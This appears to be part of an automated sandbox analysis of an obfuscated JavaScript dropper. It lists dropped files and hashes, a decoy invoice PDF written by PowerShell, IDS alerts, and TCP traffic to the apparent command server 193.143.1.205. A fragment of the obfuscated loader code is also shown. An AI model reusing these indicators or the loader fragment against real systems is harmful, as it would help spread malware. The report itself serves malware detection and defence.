Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\232476ad-ed46-408e-bdf2-a89113e2b0bd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\29cceaac-43eb-4ddb-8ad0-7ae001679e87.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a524b9c4-b46f-42be-a881-4e81618c3748.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15281), with CRLF line terminators
Entropy (8bit):	4.91754353283294
TrID:
File name:	23268167561217715617.js
File size:	18'836 bytes
MD5:	0040fb17b4ad017566a6a4ee03982d45
SHA1:	c2c6a05503dfb7d8d86a1dd5a6289a5ad6759cb6
SHA256:	d8ff24edf667481340b2c9241ad1f5b4206ccac11a87d25d576f08d1b3297741
SHA512:	fe5122d46709b12c93e40e1ffd3bafdc00708e1c39fa549264ef37a21e442a59e21b21074b73f58af65643c0973de08efc8f33802a56efb55ffee0272099eb74
SSDEEP:	384:n2PyJiRIPV7ntKgPsH4Te7AU+C9CXw2+o1oiW91szehIdSOuMqjE+9PzfsDk7Kje:n2uiKPV7ntK8y7AU+C9CXw2+o1oiW91j
TLSH:	ED8244899094C61BFEFCD1B4C4F745E3B128095CE524009A1C76A58AAF4BF9DE3F8A71
File Content Preview:	function ooxmbbz(){qsspl=[1031,3079,5127,4103,2055,3072];var aovxwvv=this[ejlascgh+btzuq+nqgfrqqpz+ehjggz+gmtxuky+prgix+xduacafaq+zehgni](this[wuclfa+ybyosoz+gezcayfi+nqgfrqqpz+szzaekklo+ejlascgh+zehgni][zhxwgfzd+nqgfrqqpz+gmtxuky+btzuq+zehgni+gmtxuky+dsq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:10:54.216622+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49702	193.143.1.205	80	TCP
2025-01-10T17:10:56.774662+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49714	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:10:53.390256882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:53.395029068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:53.395103931 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:53.400376081 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:53.405148983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.216500044 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.216526031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.216537952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.216550112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.216622114 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.217204094 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.217233896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.217253923 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.217289925 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.217294931 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.217300892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.217313051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.217338085 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.217351913 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.285237074 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.285259008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.285269976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.285324097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.337873936 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.337898970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.337910891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.337924957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.337937117 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.337970018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.338009119 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.338287115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338299990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338310957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338334084 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.338351011 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.338614941 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338687897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338699102 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338711977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338721991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.338735104 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.338762999 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.339507103 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.339524031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.339535952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.339546919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.339549065 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.339560032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.339579105 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.339607954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.340317965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.340337992 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.340385914 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.363100052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392019987 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392033100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392067909 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.392107010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392117023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392142057 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.392277956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392288923 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.392316103 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.430438995 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.430493116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.430495024 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.459392071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459431887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459444046 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459453106 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.459497929 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.459790945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459850073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459861040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459871054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.459902048 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.459933996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.460052967 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460145950 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460155964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460166931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460176945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460182905 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.460191965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460201979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.460218906 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.460233927 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461049080 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461065054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461076021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461086988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461093903 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461097956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461110115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461114883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461122990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461147070 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461168051 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461872101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461883068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461894035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461911917 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461921930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461924076 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461937904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461946011 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.461951017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.461982012 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.462848902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462866068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462877035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462888002 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462898970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462909937 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462923050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.462923050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.462977886 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.463598013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.463617086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.463677883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.484460115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.484472036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.484483957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.484522104 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.514072895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.514085054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.514097929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.514108896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.514147997 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.514147997 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.522926092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.522937059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.522950888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.522972107 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.523019075 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.523051977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.523061991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.523094893 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.523235083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.523245096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.523286104 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.552287102 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.552304029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.552376032 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.580461025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580482006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580493927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580504894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580516100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580566883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.580765009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580775976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.580878019 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.580979109 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581023932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581033945 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.581036091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581048965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581079960 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.581367016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581378937 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581389904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581398964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581418037 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.581444979 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.581701994 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581744909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581751108 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.581758976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581772089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.581805944 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.582293034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582304955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582317114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582326889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582339048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582349062 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.582350969 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582364082 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.582376003 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.582406044 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.582406044 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.583091021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583102942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583121061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583132029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583142996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583153009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583161116 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.583167076 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.583185911 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.583235025 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.584079027 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584090948 CET	80	49702	193.143.1.205	192.168.2.7
